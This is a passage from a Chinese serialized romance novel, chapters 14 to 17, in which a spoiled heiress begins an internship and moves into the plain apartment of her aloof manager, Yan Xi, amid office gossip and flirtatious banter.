直到时来运起身,准备离开时,甩了一句话,“收拾收拾明天开始上班,你的房子和车我收走了,明天从这间房子里搬出去。”
又交代时千金,“以后不许给她打钱,让她自己赚!”
时千岁如遭晴天霹雳,从沙发上弹了起来,“什么?”
“那我住哪里?”
时来运甩了甩袖子,“搬去和小言一起!”说完携着众人扬长而去。
...
客厅里只余下
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言浠静静地坐着。
空气中多了一丝尴尬。
时千岁不是内耗的性子,没一会儿就接受了现实。
“那什么...”
“加个微信?”
两人同时开口。
时千岁一愣,慢半拍地递出了二维码。
“滴”的一声。
时千岁点开屏幕,上边陈列着一条好友验证。
【“言”请求添加你为好友。】
好简洁的微信名称...
时千岁点击了通过,顺手点开了她的朋友圈。
头像是一片白茫茫的雪山,下边是一条横杠。
时千岁:“.....”
怎么会有人连朋友圈都不发的。
人机吗?
时千岁用眼尾余光看向言浠,只见她专注地在手机上敲打着什么。
时千岁好奇心作祟,窥探了一眼屏幕。
一眼就看到了言浠给她的备注。
【可以随意打骂收拾】
时千岁:“!!!”
她倒吸一口凉气,身子不自觉地往后缩了缩,“倒...也不必这么认真。”
“名字长不方便记忆,你能给我换个可爱点的备注吗?”
言浠从善如流点头,重新输入了三个大字“挂七门”。
随后几不可察地勾了下唇角,趁她望过来前,熄灭了手机屏幕。
时千岁:“.....”
言浠收好手机,回过头问时千岁,“你刚要问我什么?”
“哦”一打岔,差点忘记重要事,时千岁一拍脑门,眨巴眨巴澄亮的眸子,问,“那天你送我回酒店后有对我做什么吗?”
那个梦到底是不是真的?
言浠:“!!!”
她那双清冷的眸子里涌起了一团火,直直地烧向时千岁,语气也罕见带了一丝恼意,“我能对你做什么?”
时千岁语出惊人:“做..爱?”
言浠瞳孔地震:“!!!”
她磨了磨后槽牙,“没有。”
时千岁追问,“那有接吻吗?”
言浠顿了一瞬,垂下眼帘,“没有。”
触感那么真实居然不是真的,时千岁叹气。
言浠:“???”
她还挺失望?
柔柔的软软的,带着一丝甘甜,像是冰淇淋一样的口感。
时千岁脑海里回味着,目光情不自禁地移到了言浠红润的唇瓣上,喉咙往下一滚,“那我能不能...”
言浠瞳孔一缩,飞快地从兜里掏出了一只口罩。
戴了上去。
“不能!”
时千岁:“???”
15. 第 15 章
言浠完全相信,没有什么是眼前这个冒昧的小家伙做不出来的,比如再一次强吻她。
她冷下脸,“那天我只是把你安全送到了酒店,仅此而已。”
又补充了一句,“看在时总的面子上。“”
时千岁歪了歪头,追问道,“那我的衣服...”是怎么没得?
“洗澡时自己脱的,”她可没帮忙,只是观察了一下,仅此而已,言浠一本正经地想。
“还有问题吗?”
“那..”时千岁伸手,指了指她严严实实的口罩,“你...感冒了吗?”
这小家伙是一点也不担心自己的未来处境吗?言浠不禁气恼,冷眸望过来,“别管。”
干嘛这么凶...
她不就是想出于感谢表达一下关心吗,这也不行?时千岁撇撇嘴,“不管就不管!”
言浠无奈了,站起身准备离开。
“明天八点钟准时到公司。”
“什么?这么早!”对于一个习惯睡到自然醒的人,这无异于又是一个惊天噩耗,时千岁挣扎着坐起身,满脸痛苦,“能不能商量...”
言浠搭在门把手上的手顿了顿,回眸,“你也可以不来,选择权在你,我不会跟时总告密。”
她的语调一如往常,听不出半分情绪。
但时千岁莫名觉得这话有些刺耳。
好像被她瞧不起了。
时千岁落在身侧的手紧了紧,脖子一梗,从牙缝里挤出几个字,“放心,我不会迟到的!”
很不错,背对着她的言浠满意地舒展开了眉头。
...
时千岁万万没想到,一向宠溺她的爸爸这次居然动起了真格的。
一大清早,闹钟还没叫,时来运的助理就带人过来收走了房子和车子。
还好,她还有点小金库。
时千岁匆匆收拾了一点行李,打了辆车,顶着两个黑眼圈,狼狈地走进了公司。
“你好,”时千岁有气无力地向前台打了个招呼,“我是...”
前台眼都没抬,拿出一文件核对工作记录。
“实习生对吧?”
时千岁:“.....”
“嗯。”
前台指了指右手边会客沙发,沙发上坐着两女一男,年龄看起来和时千岁差不多。
“先去坐一下,等会有人会来带你们办理相关手续,办完后去宣传部找孙主管,他负责带你们这批实习生。”
怎么不是言浠?
时千岁不开心地想。
这时,沙发上其中一个娃娃脸女孩朝时千岁招了招手,小声打招呼,“嗨。”
时千岁指了指自己。
娃娃脸女孩露出个热情的笑,“对。”
时千岁拉着行李箱走过去,坐到了她身边。
“我叫周琦琦,你呢,怎么称呼?”
“叫我千岁。”
“千岁?好特别的名字。”
时千岁一下子就打开了话匣子,“我跟你讲,我小时候身体特别不好,我家里人希望我活得久一点,所以...”
周琦琦挑挑眉,表示懂了。
“给你介绍下,这位是徐梦瑶,”周琦琦指了指旁边那位从刚才开始就一直垂着头的女孩。
这位名为徐梦瑶的女孩话不多,看起来较为内敛,被点到名字也只是微微点点头。
时千岁友好地伸出手,“你好。”
徐梦瑶愣了下,慢半拍伸出了手,虚虚搭了她一下指尖,又快速地埋下了头,耳尖染上了一片绯色,“你好。”
说话也软软糯糯的。
周琦琦又介绍那位男生,“孙晋。”
那男生看了她们一眼,低低地“嗯”了一声。
周琦琦拍拍时千岁肩膀,望了眼前台,见她没留意这边,才对众人说,“咱可是同一批进入公司的实习生,一定要达成一致的友情战略联盟,共同对抗万恶的资本主义。”
时千岁捂嘴笑,她可太喜欢这个女孩了,简直跟她太投机了。
徐梦瑶没说什么,那孙晋倒是假模假样哼了一声,“我们是来工作的。”
周琦琦翻了个白眼,挥手,“切,不懂幽默。”
转而又跟时千岁聊起了天。
从兴趣爱好到职场规矩。
两个话痨不一会就打成了一片。
待言浠走进公司时,两人已经勾肩搭背了。
言浠静静瞥了她们一眼。
心道,人缘还挺好。
周琦琦眼观六路耳听八方,看见言浠进门的瞬间,蓦地噤了声,胳膊捅了下时千岁,站起来打招呼,“言经理您好。”
言浠微微点了下头。
时千岁扬起笑容,跟着打了个招呼,“嗨。”
言浠幽幽转过了头,留下了个冷漠的背影。
时千岁:“.....”
她压下嘴角,小声吐槽,“冰坨子...”
周琦琦凑了过来,安慰道,“你习惯习惯就好了。”
习惯,她可太习惯了。
再几次,她就练成抗冻体质了,以后冬天都不用穿羽绒服了。
周琦琦星星眼,“我就喜欢她这副姿态。”
时千岁嗖地转过了头,目光深深,“嗯?”
周琦琦摆摆手,急忙解释,“不是那个喜欢。”
“她可是我偶像。”
她望着那道背影,压低了声音,“我们大学的传奇人物。”
“高考状元,顶级学霸,校园贴吧封神榜之首出了名的冷美人。”
“关键还有最迷人的一点你知道是什么吗?”
时千岁问,“什么?”
“追求者无数,各个类型都有,她从来都不多看一眼,像个无情无欲不食人间烟火的神女,她这样优秀的人就应该独美。”
“我来这个公司有一部分原因就是因为她。”
周琦琦还想说点什么。
一个助理模样的人,向她们走了过来。
周琦琦向时千岁挤了挤眼,“等会儿再聊。”
助理带几人办好了手续。
接着由孙主管负责带几人熟悉工作。
孙主管是一个看上去面相有点凶的中年男人,拧着个眉,说话也很不耐烦。
他扔给几人一摞资料,就匆匆离去。
时千岁往工位上一坐,开始阅读那些资料,正经不过五分钟,两个眼皮直打架。
身后椅子“咯吱”一响。
眼前探出一个手机。
时千岁费力地抬眼,眼前站着的是徐梦瑶,她有力无气地开口,“有什么事吗?”
徐梦瑶脸颊微红,看上去有些紧张,说话也磕磕绊绊,“我...能不能..加你个..联系方式?”
时千岁大大方方掏出手机,“没问题。”
“滴”的一声。
徐梦瑶眉
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眼弯弯,握紧了手机,头垂得更低了。
这时,办公室门口走过了一身形高挑的女人,长卷发,妆容精致。
周琦琦凑过来,“哇”了一声。
时千岁:“.....”
“林沐涵学姐哎。”
周琦琦兴奋地眨巴着眼睛,“这就是我来这个公司的另一部分原因。”
周琦琦望着门口方向,神神秘秘,“你知道为什么吗?”
听到八卦,时千岁顿时失去了困意,“为什么?”
“她可是我的偶像。”
时千岁:“.....”
“你偶像可真多。”
周琦琦掰着手指,“富二代,顶级学霸,深情年下。”
时千岁隐隐觉得这个标签有哪里不对劲。
什么叫深情年下?
周琦琦看了眼周围人,见没人注意,用只有两个人的声音解释,“林沐涵学姐比言经理小一岁,是同届,两人高考仅相差一分。”
“因为这,林沐涵看言经理哪里都不顺眼,什么都要跟她争,但言经理每次都压她一头。”
“后来不知道怎么回事林沐涵突然公开放话追求言经理,起先都以为林沐涵是咽不下那口气,想要玩玩,谁也没想到林沐涵这一追就是好几年,甚至为了言经理放弃了继承家业一同来了咱公司。”
周琦琦指了指门口右手边方向,笃定,“那是言经理办公室,林沐涵绝对去找她了。”
时千岁心里一紧,下意识捏紧了手。
周琦琦继续,“死对头文学真好磕,双学霸文学真好磕。”
时千岁幽幽道,“你不是说言经理就应该独美吗?”
周琦琦竖起一根手指摇了摇,反驳道,“不一样,我说的是那群臭男人,但是如果跟林沐涵在一起的话那就是绝美了。”
时千岁心里莫名的酸溜溜,“切”了一声,“别想了,都追了这么多年了,要是喜欢早就成了。”
“我始终相信日久生情,真诚能打动一切,不信等着瞧。”
时千岁低头扣手机,在周琦琦看不见的角度撇了撇嘴,小声嘀咕了一句,“还日久生情,鬼才信,她要是能撼动得了那座冰山我就是秦始皇。”
...
时千岁第一天的工作很简单但也很充实,上午了解企业文化和规章制度,下午跑跑腿往其他部门送送资料,还要抽空八卦及关注言浠办公室方向的动向。
临近下班,林沐涵再次路过办公室门口。
时千岁嘀咕了一句,“第五次了。”
周琦琦凑过来,“什么第五次?”
“没..没什么。”
“哦..”周琦琦转头收拾东西,“下班我们几个聚一聚?”
时千岁心不在焉的“嗯?”了一声。
这时,言浠和林沐涵从办公室门口路过。
时千岁赶紧竖起支耳朵。
依稀听见林沐涵问了一句,“想吃什么?我请客。”
时千岁“嗖”地站了起来,拉起行李箱,“下次,今天还有事。”说完,小腿一迈朝两人背影追了上去。
...
这边,言浠正欲开口拒绝,便听到了一阵急促的脚步声。
下一秒,衣角被拉住。
时千岁软绵绵的声音出现在身后。
“言浠姐。”
“你不是说好要带我回家嘛?”
林沐涵:“???”
16. 第 16 章
林沐涵:“???”
她显然僵住了,缓了很久,才小心翼翼问,“好眼生的女孩,她是?”
“言言,你们住在一起?”
言浠落在一旁的手指蜷了蜷,静默无言。
时千岁又拉了拉她衣角,催促道,“走吧,我有点累了。”
顿了顿,言浠抬眸,对林沐涵道了声,“抱歉。”没做任何解释,“你先走,我有点事要谈。”
林沐涵欲言又止,紧张地看了两人一眼,最终还是选择了尊重,转身离去,一步三回头。
下班点,走廊人来人往。
不便讲话。
言浠把她带到了负一层地下车库,找到车,“滴滴”两声,打开了后备箱,接过行李放了进去。
时千岁趁着这功夫麻利地钻进了副驾驶,系上了安全带。
乖巧地等待。
言浠放好行李,坐到驾驶位。
然而,并没有着急启动。
时千岁挑挑眉,表示不解。
言浠目光平静地注视着前方,内心天人交战。
事情原本已经告一段落了,为什么又一次产生了交集?不仅如此,还要同居?
言浠吸了一口气,缓缓开口。
“一、叫我言经理。”
时千岁把小腿一收,直起了身子,凭什么那女人就能那么亲昵地称呼“言言”?
“不行!”
言浠望过来,眸光微凉,“嗯?”
时千岁往座椅上靠了靠,搓了搓发冷的手臂,小声解释,“这可是下班时间。”
言浠:“.....”
“第二,你不能住我那里。”
时千岁大声反驳,“不行!”
言浠觑了她一眼,问,“这次又为什么不行?”
时千岁可怜巴巴,“我爸已经把房子收走了,学校放假不能住宿舍,你总不能让我流落街头吧...”
言浠:“.....”
“那我给你租个房子,我不喜欢和人一起住。”
时千岁澄澈的眸子此时水汪汪的,语气带了几分哀求,仿佛下一秒就要哭出来似的。
“可是,我自己...害怕。”
言浠一噎,彻底没招了。
油门一踩,驱车离去。
...
四十分钟后。
车子七拐八拐停到了一个看上去有些许年头的小区外围。
言浠轻轻唤她,“到了。”
时千岁睡得正香被唤醒,揉了揉惺忪双眼,迷茫地看向窗外。
小区门口围了一圈小推车。
瓜果蔬菜,熟食小吃,应有尽有。
吆喝声此起彼伏,热闹非常,生动又真实。
时千岁一时新鲜,推门跳下车,小心地避过路上撒落的垃圾,挤过人群,在每个摊子面前都微作停留。
这小家伙,一不留神跑出去那么远,也不怕丢了,言浠急忙锁好车,提上行李箱追了上去。
时千岁正蹲在西红柿摊前学着刚刚顾客的话术讨价还价。
“大妈,四块五行不行?”
还入乡随俗上了,言浠好笑地看着眼前人乌黑发旋,情不自禁拉住了她的手。
感受到掌心的温度,时千岁抬头,言浠那张柔美的脸在眼底逐渐放大,眉眼带笑,心跳莫名快了一拍,她垂下眼掩饰慌乱,低低唤了一声,“言浠姐..”
言浠握着行李箱拉杆的手紧了紧,快速松开了她,自顾自地往前,“走了。”
“哦...”时千岁乖乖地应了一声,小跑几步追了上去,勾住了她的衣角。
横穿过摊位,小区入口是一道铁门,锈迹斑驳,甚至都没有设保安亭,门口左手边几个抱小孩的妇女围在一起纳凉,小孩叽叽喳喳,哭闹不止,右手边几个光膀子的男人勾肩搭背地嘬着烟,烟雾缭绕味道刺鼻。
道路一旁的绿化久未打理,枝叶繁茂杂草丛生,路边的垃圾桶堆满了厨余垃圾,蚊蝇围绕,气味令人作呕。
时千岁遭受视觉和嗅觉双重冲击,霎时间脸色苍白,胃里翻江倒海。
言浠余光留意到她异样的脸色,停下了脚步,“这里的环境你也看到了,我还是给你租房子..”
又要赶她?时千岁倔强地拧起眉头,“不用。”
“我能行。”
还小瞧她了,言浠静静看她两秒,眉目逐渐柔和。
时千岁把掌心覆到了她的后背上,轻轻往前推了推,催促道,“快走吧。”
两人继续往前。
天边最后一抹淡金收进了云层里,拉下夜色的帷幕,月亮在灰扑扑的云层里露出虚虚一角。
沿着小道走到尽头,迈进了第二道铁门,入目便是一片幽暗。
时千岁看了看路边形同虚设的老旧路灯,和投射在泛黄墙皮上张牙舞爪的树影,内心忐忑,问,“还没到吗?”
一阵清风吹过,阴影处的树丛沙沙作响。
时千岁浑身的血液都快僵住了,脑海里恐怖的画面止不住地往外蹦。
她猛地抓住了言浠的手臂,身子往前贴了贴。
害怕了?
言浠突然恶趣味萌生,板起脸,故意压低了声线,“这里晚上八点以后不能独自出门,你知道为什么吗?”
“为...为什么?”
“是..是有鬼吗?”
小家伙声线颤抖,隐隐带了一丝哭腔,不会要吓哭了吧,言浠心中懊恼,转身对上那惊恐泛红的双眼,屈指弹了下她额头,故作轻松,“想什么呢?”
“这个小区房价便宜,所以汇聚了很多外来务工人口,安保设施又差,女孩子晚上出门不安全,仅此而已。”
时千岁呼了口气,紧绷的身体随之放松了下来。
...
进入单元楼,两人乘上电梯,前往最顶层。
老旧小区电梯空间狭小,木质的护墙板散发着一股微微腐烂的味道,上行时摇摇晃晃,厢顶灯光也暗暗的,仿佛下一秒就要灭掉了。
时千岁恐高症都要犯了,心脏怦怦乱跳。
她在心里紧张地做着祈祷。
但上天偏偏要和她作对,一个猛烈的颠簸,灯灭了。
周遭静悄悄的,漆黑一片,伸手不见五指。
时千岁“啊”的一声,跳到了言浠怀里。
手臂紧紧地圈着她的腰,脸颊一个劲儿地往她胸口贴。
像一只受惊的小猫。
言浠又好气又好笑,这小家伙怎么这么喜欢占她便宜?
她都有点习惯了。
半晌,怀中人还没有要下来的趋势,胸口处温度滚烫,急促的呼吸喷洒在颈侧,激起了一股微弱的电流,徐徐蔓延,很痒。
言浠不自在地推了推她。
一句“下来”还没说出口,就听到一阵哽咽。
胸口处湿答答的,言浠心里也湿答答的,像是下了一场柔软的雨。
言浠抬起手掌覆到了怀中人后背上一下一下地轻轻安抚。
升至顶层
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,电梯门缓缓打开,一束光亮照了进来。
时千岁心中的恐惧渐渐消散,但心跳依旧作乱,快得厉害。
那好闻的雪松味冷香沁人心脾,时千岁沉溺在这片柔软里不能自拔。
言浠轻轻拍了拍她,提醒道,“到家了。”
时千岁贪婪地嗅了一下她身上独特的香气,这才依依不舍地从她身上跳下来。
……
言浠拿钥匙开门,从玄关处的鞋柜里找了双客用的一次性拖鞋递给了她。
时千岁换鞋,抬眸静静打量着言浠的家。
空间不大,黑白色调的装潢,简洁干净,没有一点多余的陈设。
没人气,不像家,更像是一个只供留宿的地方。
时千岁看着厨房仅供一人使用的碗筷,心里多了几分酸楚,问,“你一直一个人住吗?”那得有多孤独...
“家人呢?”
言浠眉宇间染上一丝躁意,脸色也沉了下来,她径直走向主卧,指了指对面紧闭的门。
“你住这间。”
“房间自己收拾。”
“还有,没事别敲门。”
时千岁:“.....”
这人怎么忽冷忽热的。
难不成是因为她刚刚提及的家人?
言浠的家人该不会...
时千岁心里的酸楚又多了几分。
暗暗握拳,在心里加油打气。
不管怎样,以后这个家里多了自己,她再也不会孤单!
...
言浠关上卧室门,从酒柜里拿了瓶威士忌,倒了一杯,坐到了书桌前。
家人对她来讲是个恶心的词汇。
每每提及,都让她心里升起一股挥之不去的躁意。
她承认她刚刚失态了。
抿了一口酒,辛辣入喉,心情缓和不少。
她已经忘记了是从什么时候养成的喝酒的习惯。
每当灵感枯竭的时候,每当工作烦闷的时候,每当频频失眠噩梦缠身的时候,来上一点准没有错。
杯中酒不一会儿便见了底,言浠起身又去倒了一杯,随后打开了电脑处理工作文件。
“叩叩叩。”
敲门声响起。
言浠手一顿,碰到了杯子,黄色液体撒溅到了桌子上。
不是说不让她来敲门吗?
这才五分钟不到...
言浠清理完桌子前去开门,卧室的门才打开一条小缝,外边的人就急迫地往里挤。
言浠一把按住了她的头顶。
“有事?”
距离贴近,浓烈的酒气侵入鼻腔。
时千岁脑袋顿时有些发昏,她皱皱鼻,“你喝酒了?”
处理完工作还要去写连载的作品,时间紧迫没空与她周旋。
言浠静静地瞥了她一眼。
“别管。”
好好好,又是别管,时千岁不放弃,拉起个灿烂的笑。
“要不要我陪你聊聊天啊?我怕你寂寞。”
“.....”
“大可不必!”言浠无语极了,抬手就给她推了出去。
她重新回到电脑前。
坐了下来。
屁股还没坐热,敲门声便再度响起。
时千岁抱着睡衣站在门口,小脸有点白。
言浠扬扬眉,表示不解。
时千岁斟酌一下,抓住了她的手腕,“我想跟你一起睡。”
“行嘛...”
17. 第 17 章
一起睡?
这小家伙恐怕是越发得寸进尺了,先不说自己习惯与否,就凭她喜欢占自己便宜这点,就绝对不可能。
言浠一言未发,用行动表示拒绝。
卧室大门关闭之际,一只纤秀的手伸了进来,稳稳抓住了门框。
时千岁的小脑袋后一步钻了进来,眨着楚楚动人的眸子,用一贯的撒娇口吻说,“我自己一个人..害怕,万一做噩梦怎么办?”
言浠丝毫不让步,紧紧抵住门,“自己克服。”
“.....”
真是不近人情的女人。
时千岁可不是轻言放弃的人,卖惨不行,那就换一种说法。
“那个房间还没打扫..你知道的我没什么自理能力,又要扫地拖地,又要铺床还要整理行李,这一套下来我就不用睡了。”
时千岁觑了一眼言浠,见她露出思考神情,继续循循善诱,“我睡不睡不重要,你说万一影响到第二天工作,是不是不太好...”
“与其那么麻烦,不如我们两个一起睡...省时省力省心。”
小嘴叭叭的,真是能言善辩,言浠止不住的头疼。
“一起睡不行,我不习惯。”
怎么这样啊,时千岁撇撇嘴角,松开手,一言不发地转身离开。
言浠看着她失落的背影,叹了口气,无奈地追了上去,“但我可以跟你一起收拾。”
在言浠看不见的角度,时千岁的嘴角高高地扬了起来。
看吧,这女人还是会心疼她的。
...
侧卧不大,没有独立的洗浴间和阳台,当初买下这间屋子时,言浠本打算把这里改造成书房,但因采光的问题放弃了这一想法,后来这块空间专门用来堆放杂物。
说是堆放杂物,其实也没什么东西,一些工作文件和老旧的书籍,仅此而已,言浠有打扫房间的习惯,每天都会清扫,没什么灰尘,更没有时千岁口中说得那么麻烦。
言浠把那一堆书籍从床板上抱进房书桌柜子里,锁了起来,又去自己房间抱了一套崭新的床垫、被褥,俯身给她铺床。
玉葱般纤长的手指灵活地翻动着洁白的床单,骨节分明,指腹饱满。
时千岁被这双漂亮的手吸引到了注意力,一眨也不眨地盯着看,默默地咽了下口水。
也不知道在别的事情上会不会也这么灵活。
时千岁脑子黄黄的。
身后久未出声,言浠不禁疑惑,转过身来。
“傻笑什么呢?”
时千岁想入非非被抓了个现行,顿时有些尴尬,心虚地别过了眼,“没什么...对了,需要帮忙吗?”
言浠直言,“不来添乱就已经非常棒了。”
时千岁:“.....”
倒也不必这么毒舌。
言浠铺完床,把床边立柜整理了出来,交代道,“衣服自己收好,洗澡的话去客厅公共浴室,洗漱用品和毛巾有新的,在浴室的第二层储物柜里,还有问题吗?”
时千岁头摇得像拨浪鼓,“没了。”
“行,我还有工作要忙。”
时千岁听出了她的潜台词,三指一并,保证道,“知道了,没事不打扰你。”
...
言浠重新回到了卧室,坐回到了电脑前。
处理完工作文件,她看了眼手机,已经接近十点钟。
她放松地伸展开四肢,揉了揉僵硬的脖颈,稍作休整点开了另一个文档。
她目前在口口文学城连载的小说更新时间固定晚上12点,还有两小时,以她每小时五千的速度,时间绰绰有余。
她酝酿了一会儿情绪,又顺了一遍大纲,开始着手打字。
卧室里响起了如雨点般密集的键盘敲击声。
只不过还没持续五分钟。
卧室门又再次被敲响。
写作最重要的就是情绪,情绪被突然间打断,一切都要从头开始,言浠的怒火直往脑袋顶蹿,她咬了咬牙,“第三次了!”
言浠黑着脸前去开门。
甫一开门。
时千岁被这气势吓了一跳,脖子一缩,倒退了两步。
言浠倚靠在门边,指尖轻轻敲击着手臂,等待着她的解释。
时千岁垂下眼帘,声音弱弱的,“我饿了...”
“我今天一天没吃饭...”
“早上没来得及吃,中午不太饿。”刚刚收拾衣服累到了,胃开始反抗了。
言浠:“???”
本来身体就差,还不会照顾自己!
“说吧,想吃什么?”
时千岁一喜,“我想吃避风塘炒虾,松茸蒸蛋,最好再来一碗香香软软的大米饭,还有还有再给我来包辣条...”
“.....”
言浠牵起一抹玩味的笑,“没有,”转身往厨房走去。
那还问她?寻她开心吗?时千岁在她背后做了个鬼脸。
又一副乖巧的模样跟上去,“言浠姐,你要给我做什么?”
言浠对饮食素来没什么追求,工作的时候就在公司对付一口,晚上回家也经常忘了吃饭,家里的灶台几乎是个摆设。
她打开冰箱。
里边只有一盒鸡蛋,和一捆面条,还有几瓶不知道过没过期的牛奶。
言浠拿出鸡蛋和面条走进厨房,“对付一口吧。”
时千岁完全不挑剔,甚至还有些期待,“辛苦了。”
言浠系上围裙,眼神指了指客厅沙发,时千岁秒懂,乖巧地坐了过去,等饭上桌。
...
厨房内,女人挥动着锅铲,长发高高挽在脑后,露出雪白漂亮的天鹅颈。
高温的炙烤下,颈间冒出了层层细密的汗珠。
柔黄色的灯光穿过浓浓烟火气打在了她的肩膀上,无端端地生出一抹温柔。
时千岁望着这抹背影,心中再次生
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出了一丝难以言喻的情愫。
直到女人端了着煮好的面,站到她跟前,时千岁这才从恍惚中回神。
“快吃吧,”言浠把碗和筷子放到她面前,准备先回卧室。
“等一下!”时千岁垂眸望着那碗面,奶白色的汤底窝着两个金黄色的流心煎蛋,看得让人直流口水,她拿起筷子夹了一口送进嘴里,汤汁鲜美口感劲道,味蕾霎时间被浓浓香气占据,是出乎意料的美味。
言浠静静等待着。
身后却是没了后续。
言浠回身,只见时千岁埋头咀嚼,两个腮帮子撑得鼓鼓的,像只可爱的小松鼠。
她倒了一杯水送到时千岁手上,鬼使神差地坐到了她身侧,“有这么好吃吗?”
时千岁眼眸明亮,笑容也真切,“好吃!”
“比我家大厨做得都好吃!”
油嘴滑舌,“哪有那么夸张,”言浠眉眼一弯,从出纸盒中抽出一张纸巾伸向了时千岁沾染了汤汁的唇角。
指尖碰触柔软。
两人皆是一愣。
为什么会做出这种情不自禁的举动?言浠不解,她快速收回手,站起身来,“吃完碗放在这,不用收。”
“等等..”
“还有事?”
时千岁咬了咬下唇,问出了连自己都觉得莫名的一句话,“林沐涵吃过你做的饭吗?”
嗯?关她什么事?
言浠虽然理解不了小家伙的脑回路,但还是如实答道,“没有。”
“你是第一个。”
那就是唯一喽?时千岁喜不自胜。
“还有事吗?如果没事...”
时千岁都会抢答了,“你放心,我不会打扰你了。”
...
时千岁保证得好好的,奈何5分钟不到,卧室的门便又被敲响。
言浠都气笑了。
“这次又怎么了?”
时千岁发誓,这次真的不是故意的,早上走得急,行李收拾得太仓促...“言浠姐,我忘记拿内衣了...”
“你能借我吗?”
言浠平静的瞳孔出现了一丝裂缝,重复道,“借什么?”
“胸罩...”
时千岁忽而抬眸,满脸认真,“主要是我如果真空在你面前晃来晃去,我怕你受不了流鼻血。”
“毕竟我这么性感。”
言浠听见这么离谱的话,也是笑了,“不借。”她扬了扬眉,目光定格到她胸前,别有深意。
贴身之物,暂且不说,“就尺码来讲,不合适。”
这眼神什么意思,说她小喽?时千岁手一叉腰,不服气道,“你又没摸过,你怎么知道?”
又不是没看见过,言浠脑海中浮现出那天在酒店里洗澡的画面,雪白的躯体被水汽包裹着,挺翘纤窈。
她脸颊有些发烫,匆匆别过了眼。
缓慢地吐出了两个字。
“目测。”